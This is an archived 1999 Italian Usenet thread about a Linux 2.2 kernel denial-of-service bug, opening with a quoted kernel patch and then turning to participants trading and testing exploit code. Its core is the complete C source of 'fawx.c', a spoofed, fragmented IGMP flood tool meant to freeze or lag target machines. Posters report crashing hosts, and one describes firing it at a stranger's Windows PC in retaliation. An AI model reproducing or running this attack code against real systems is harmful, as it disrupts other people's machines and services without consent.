Newsgroup: it.comp.sicurezza.unix
Titolo: DoS nel kernel 2.2

Questo e' passato sulla ml del kernel e su bugtrack
saluti
a.
----
Ok problem confirmed. Its not icmp however - in fact the program given
has some bugs that cause it. If it had been a correctly written icmp tester
it wouldnt have worked. A blessing in disguise.
Anyway the fix seems to be this. Sorry it took so long to sort out.
--- ../linux.vanilla/net/ipv4/ip_options.c      Wed May 12 16:49:38 1999
+++ net/ipv4/ip_options.c       Tue Jun  1 22:11:46 1999
@@ -452,7 +452,6 @@
 error:
         if (skb) {
	                 icmp_send(skb, ICMP_PARAMETERPROB, 0,
			 htonl((pp_ptr-iph)<<24));
			 -               kfree_skb(skb);
			         }
				         return -EINVAL;
					  }
Alan
 
-- 
 ------BEGIN GEEK CODE BLOCK-----
 Version: 3.1
 GS/U/CS d- s: a- C++(C+++) UL+++(UO++) P+>P++ L+++ E--- W(W+) N+(N++) 
 o? K? w-- O? M- V- PS++ PE Y PGP++ t 5? X R tv- b+ DI- D---- 
 G++>G+++ e++ h-- r- y+ 
 ------END GEEK CODE BLOCK------

 Questo e' passato sulla ml del kernel e su bugtrack
Qualcuno di #linux-it l'ha provato su un 2.2.7 non patchato e non si
buttava giu', mboh! Ma tu l'hai provato?
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
<<   Available PGP keys: DSS/DH                   >>


no, io ho solo ricevuto l'advisor, c'e' gia' il programmino bastardo ?
se ce l'hai manda 
ciao
a.


buttava giu', mboh! Ma tu l'hai provato?
Forse ipchains gli faceva da scudo ?

 se ce l'hai manda 
Era nella mail di bugtraq... mandami una mail che non so se il tuo
indirizzo e' valido.


 Forse ipchains gli faceva da scudo ?
Scusa ma lo reputi cosi' coglione da provare un DoS con il fireewall
in funzione?


se ce l'hai manda 
c'e', ma lo stesso autore specifica:
I forgot to add two things
1) This code is very machine-specific, I tried it on our nfs-mounted
debian in school, but I don't know what are the hardware
"requirements" for it to work
2) It was compiled by g++ -- g++ exploit.cpp -o exploit
P.S. Sorry, I don't KNOW how to patch it (I hope the guys at
kernel.org
 know) 
ciao
Buttha
-----------------------------------------------------------------------
* Per rispondere rimuovere i
* PGP Key: RSA & DH/DSS
* 
http://members.tripod.com/buttha/
-----------------------------------------------------------------------

in funzione?
c'ho un DoS (che funziona su Linux) che dovrebbe passare inosservato
attraverso ipchains.
Con Lunix subisci un semplice flood, altre macchine non bene
attrezzate dovrebbero crashare.
Chi c'ha voglia di provarlo?


buttava giu', mboh! Ma tu l'hai provato?
Provato in locale su RedHat 6.0 con kernel 2.2.5 bisogna aspettare
molto perche il DoS arriva con molti icmp e poi funziona fa' un kernel
panic pauroso.

in funzione?
Scusa pensavo l'avesse provato su una "cavia"
e non con delle sue macchine
:-)
distorsione professionale


[...]
io sono riuscito a compilarlo solo con g++...
ma non funza, ovvero non mi fa nulla ...
ho provato sia da loopback che ha rete ethernet vera e propria...
debian 2.1 con kernel 2.2.9
altri risultati ?
ciao
a./


Chi c'ha voglia di provarlo?
[...]
manda :-)
ciao
a.


manda :-)
Facciamo prima se vi posto il sorgente:
/* fawx.c v1 by ben-z -- igmp-8+frag attack for linux *
 *   thanks to datagram for ssping.c - helped lots    *
 * -------------------------------------------------- *
 * DESCRIPTION:                                       *
 *  Sends oversized fragmented IGMP packets to a box  *
 *  either making it freeze (WinNT/9x), or lagging    *
 *  it to hell and back. Since most win32 firewalls   *
 *  dont support IGMP, the attack successfully        *
 *  penetrates into the system, making it much more   *
 *  effective than an ICMP attack which is likely to  *
 *  be filtered.                                      *
 * GREETINGS:                                         *
 *  mad props to datagram for writing ssping, also    *
 *  thanks to #fts(2) on undernet and the psychic     *
 *  crew on efnet. shouts to ka0z, cyrus, magicfx,    *
 *  ice-e, zeronine, soupnazi, benito, eklipz, c0s,   *
 *  metalman, chawp, folk, atomic-, dethwish, sindawg *
 *  mosthated, and everyone on 
irc.slacknet.org
..     */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
void banner(void) {
   printf(" -----------------------------------------------\n");	
   printf("| fawx v1 by ben-z: igmp-8+frag spoofing attack |\n");
   printf(" -----------------------------------------------\n");
}
void usage(const char *progname) {
     printf("[**] syntax: %s <spoof host> <target host>
<number>\n",progname);
}
int resolve( const char *name, unsigned int port, struct sockaddr_in
*addr ) {
   struct hostent *host;
   memset(addr,0,sizeof(struct sockaddr_in));
   addr->sin_family = AF_INET;
   addr->sin_addr.s_addr = inet_addr(name);
   if (addr->sin_addr.s_addr == -1) {
      if (( host = gethostbyname(name) ) == NULL )  {
         fprintf(stderr,"\nuhm.. %s doesnt exist :P\n",name);
         return(-1);
      }
      addr->sin_family = host->h_addrtype;
      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
   }
   addr->sin_port = htons(port);
   return(0);
}
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);		
    answer = ~sum;		
    return(answer);
}
int send_fawx(int socket,
                 unsigned long spoof_addr,
                 struct sockaddr_in *dest_addr) {
   unsigned char  *packet;
   struct iphdr   *ip;
   struct igmphdr *igmp;
   int rc;
 
   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                        	    sizeof(struct igmphdr) + 8);
   ip = (struct iphdr *)packet;
   igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));
   memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
 
   ip->ihl      = 5;
   ip->version  = 4;
   ip->id       = htons(34717);
   ip->frag_off |= htons(0x2000);
   ip->ttl      = 255;
   ip->protocol = IPPROTO_IGMP;
   ip->saddr    = spoof_addr;
   ip->daddr	= dest_addr->sin_addr.s_addr;
   ip->check    = in_cksum(ip, sizeof(struct iphdr));
   igmp->type     	   = 8;
   igmp->code     	   = 0;
   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 1,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
 
   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct igmphdr)
+ 8);
   ip->frag_off = htons(8 >> 3);
   ip->frag_off |= htons(0x2000);
   ip->check    = in_cksum(ip, sizeof(struct iphdr));
   igmp->type = 0;
   igmp->code = 0;
   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 8,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
   free(packet);
 /*  printf(".");  <- it looked way too ugly :P */
   return(0);
}
int main(int argc, char * *argv) {
   struct sockaddr_in dest_addr;
   unsigned int i,sock;
   unsigned long src_addr;
   banner();
   if ((argc != 4)) {
      usage(argv[0]);
      return(-1);
   }
 
   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
      fprintf(stderr,"error opening raw socket. <got root?>\n");
      return(-1);
   }
 
   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
   src_addr = dest_addr.sin_addr.s_addr;
   if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
   printf("[**] sending igmp-8+frag attacks to: %s.",argv[2]);
   for (i = 0;i < atoi(argv[3]);i++) {
      if (send_fawx(sock,
                       src_addr,
                       &dest_addr) == -1) {
         fprintf(stderr,"error sending packet. <got root?>\n");
         return(-1);
      }
      usleep(10000);
    }
printf(" *eof*\n");


On 5 Jun 1999 11:53:36 GMT, Andrea Fanfani ha scritto:
correzione: 
ci mette molto, molto tempo ma in locale (127.0.0.1) sulla porta
21 manda giu' la macchina...
saluti


 Chi c'ha voglia di provarlo?
Mmmh... dammi piu' info... lo voglio proprio provare...
Weddings:
	When reminiscing about weddings, women talk about 'the ceremony'.
	Men talk about 'the bachelor party'.
		-- Andrea Attanasio


 debian 2.1 con kernel 2.2.9
A dire il vero io non l'ho neanche provato per mancanza di tempo...
Sfortuna: il tipo di fortuna che non manca mai
		-- R. Mazza


 21 manda giu' la macchina...
Cioe' la manda in kernek panic?
Un uomo solo e' sempre in cattiva compagnia.
	-- Valery, "L'idea fissa"


 Facciamo prima se vi posto il sorgente:
Salvato, THNX !!
QUINTO COROLLARIO ALLA LEGGE DI MURPHY
"Lasciate a se stesse, le cose tendono ad andare di male in peggio."


 panic pauroso.
Beh cmq finche' funziona solo in locale e lanciato su localhost non
mi sembra possa rappresentare un cosi' grave pericolo... occorrerebbe
provarlo su un'altra macchina in remoto per avere riscontri validi.
A Dio - quel che e' di Dio, a Cesare - quel che e' di Cesare. Bisognava
essere presenti alla spartizione.
		-- Stanislaw J. Lec, Pensieri spettinati


Salvato, THNX !!
poi mi fai avere i risultati, che il disco che ospitava il mio linux ha
deciso di prendersi la pensione? :(


 deciso di prendersi la pensione? :(
Stamattina l'ho provato su un PC WinBug di un coglione che cercava di
entrarmi sulla 1080... dopo un po' l'ho perso... sul mio su localhost
non l'ho ancora provato.
Una faccia, una razza!
		-- Il Turco, dal film "Mediterraneo".


21 manda giu' la macchina...
Ho provato per curiositą pure io, ma dopo 15 minuti di "b00m" mi sono
rotto :)) In pratica, non succede nulla (exploit 127.0.0.1 21).
L'ho provato su una RH 6.0 (kernel 2.2.5-15).
Cosa intendi per "molto, molto tempo" ?
Ciao
Ale
-- 
Per ottenere il mio indirizzo e-mail sostituisci a NOSPAM il mio cognome.

Cosa intendi per "molto, molto tempo" ?
dieci minuti buoni con un k6200 appunto sulla porta 21,
dove l'ftp gira chiamato da inetd.
kernel 2.2.9 e debian 2.1 circa (ovvero con alcuni pacchetti
della 2.2)
mah dai una occhiata a 
www.geek-girl.com
 trovi l'archivio di bugtraq
con tutti i post sull'argomento.
ciao
a.
-- 
Questa signature e' un consiglio:
se hai a cuore il free-software vai a:
http://no-patents.prosa.it/


funza anche su rete locale (collegamento ethernet diretto)



--
Posted from 
mta09-acc.tin.it
 [212.216.176.40]
via Mailgate.ORG Server - 
http://www.mailgate.org

 }
Ma l'exploit e' uscito dopo la notizia della patch
(per usarlo su i canali irc ...)
o mi sbaglio ???
Qualcuno ha provato a bombare un 2.0.36/37 ????????

 funza anche su rete locale (collegamento ethernet diretto)
A me un NT !!!!! :-)
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
**   Addio dottor Mc Coy... e grazie !            **


--
Posted from 
ro...@ascu.unian.it
 [193.205.128.30]


altrimenti me lo spediresti via e-mail?
in arrivo
ciao
Buttha
-----------------------------------------------------------------------
* Per rispondere rimuovere i
* PGP Key: RSA & DH/DSS
* 
http://members.xoom.it/buttha/
-----------------------------------------------------------------------

 (con load > 1) nessun crash; iplogd mi ha loggato una marea di pacchetti ICMP...
Io l'ho provato in remoto su un'altra macchina ma in locale no... devo
ricordarmi di farlo appena posso... pare pero' che riesca a passare
anche attraverso i FW (cosi' hanno scritto su icsv) ma la mia obiezione
e' stata "ma su un Linux configurato come?" visto che si trattava di un
kernel 2.0.36 e che su un 2.2.9 + ipchains il risultato non penso
sarebbe stato lo stesso..



--
Posted from 
mta01-acc.tin.it
 [212.216.176.32]
